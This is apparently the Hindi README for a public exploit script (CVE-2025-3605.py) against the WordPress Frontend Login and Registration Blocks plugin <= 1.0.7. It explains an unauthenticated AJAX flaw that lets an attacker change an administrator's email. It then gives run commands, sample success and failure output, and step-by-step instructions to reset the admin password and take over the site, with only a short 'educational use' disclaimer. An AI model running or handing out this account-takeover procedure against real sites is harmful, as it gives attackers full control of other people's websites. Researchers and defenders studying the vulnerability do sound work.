
WordPress Frontend Login and Registration Blocks Plugin <= 1.0.7 विशेषाधिकार वृद्धि (Privilege Escalation) के लिए असुरक्षित है।
WordPress के लिए Frontend Login and Registration Blocks प्लगइन (संस्करण <= 1.0.7) खाता अधिग्रहण के माध्यम से विशेषाधिकार वृद्धि के लिए संवेदनशील है।
यह समस्या इसलिए उत्पन्न होती है क्योंकि प्लगइन flr_blocks_user_settings_handle_ajax_callback() फ़ंक्शन के माध्यम से ईमेल जैसी संवेदनशील जानकारी अपडेट करते समय उपयोगकर्ता की पहचान को मान्य नहीं करता।
✅ प्रभाव:
एक अप्रमाणित हमलावर व्यवस्थापक का ईमेल बदल सकता है, "पासवर्ड भूल गए" प्रक्रिया को ट्रिगर कर सकता है, और व्यवस्थापक पासवर्ड रीसेट कर सकता है, जिससे पूर्ण नियंत्रण प्राप्त होता है।
शामिल पायथन स्क्रिप्ट संवेदनशील AJAX एंडपॉइंट को लक्षित करके शोषण प्रक्रिया को स्वचालित करती है:
/wp-admin/admin-ajax.php
यह लक्षित उपयोगकर्ता (आमतौर पर व्यवस्थापक के लिए user_id 1) का ईमेल हमलावर-नियंत्रित ईमेल में अपडेट करता है।
फ़ाइल का नाम: CVE-2025-3605.py
python CVE-2025-3605.py --url http://target-site/wordpress --user_id 1 --mail [email protected]
✅ डिफ़ॉल्ट मान:
--user_id: 1 (डिफ़ॉल्ट व्यवस्थापक)--mail: [email protected]सहायता मेनू देखने के लिए, चलाएँ:
python CVE-2025-3605.py --help
आउटपुट:
[+] Starting exploit script...
usage: a.py [-h] --url URL [--user_id USER_ID] [--mail MAIL]
Frontend Login and Registration Blocks Plugin <= 1.0.7 is vulnerable to Privilege Escalation # By Nxploited (Khaled Alenazi)
options:
-h, --help show this help message and exit
--url, -u URL Target URL, e.g., http://192.168.100.74:888/wordpress
--user_id, -id USER_ID
User ID to target (default: 1)
--mail, -mail MAIL Email to set (default: [email protected])
✅ उदाहरण रन:
python CVE-2025-3605.py -u http://192.168.100.74:888/wordpress -id 1 -mail [email protected]
✅ सफलता पर:
[+] Starting exploit script...
[+] Sending exploit to http:/target.com/wp-admin/admin-ajax.php/wp-admin/admin-ajax.php
[+] Exploit successful! Response: {"status":true,"message":"Operation has been completed successfully."}
[+] Final Step: Go to the Forgot Password page and reset the admin password using the new email!
Exploit By : Khaled_alenazi ( Nxploited )
❌ विफलता पर:
[!] Exploit failed. HTTP Status: 400
[!] Response: 0
1️⃣ पर जाएँ:
http://target-site/wordpress/wp-login.php
2️⃣ आपके द्वारा सेट किया गया नया ईमेल ([email protected]) दर्ज करें।
3️⃣ पासवर्ड रीसेट का अनुरोध करें।
4️⃣ एक नया पासवर्ड सेट करें।
5️⃣ व्यवस्थापक के रूप में लॉगिन करें और पूर्ण पहुंच का आनंद लें।
यह एक्सप्लॉइट और स्क्रिप्ट केवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए प्रदान की गई है।
उन सिस्टमों के खिलाफ कोई भी अनधिकृत उपयोग जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है, अवैध और अनैतिक है।
द्वारा: Khaled Alenazi (Nxploited)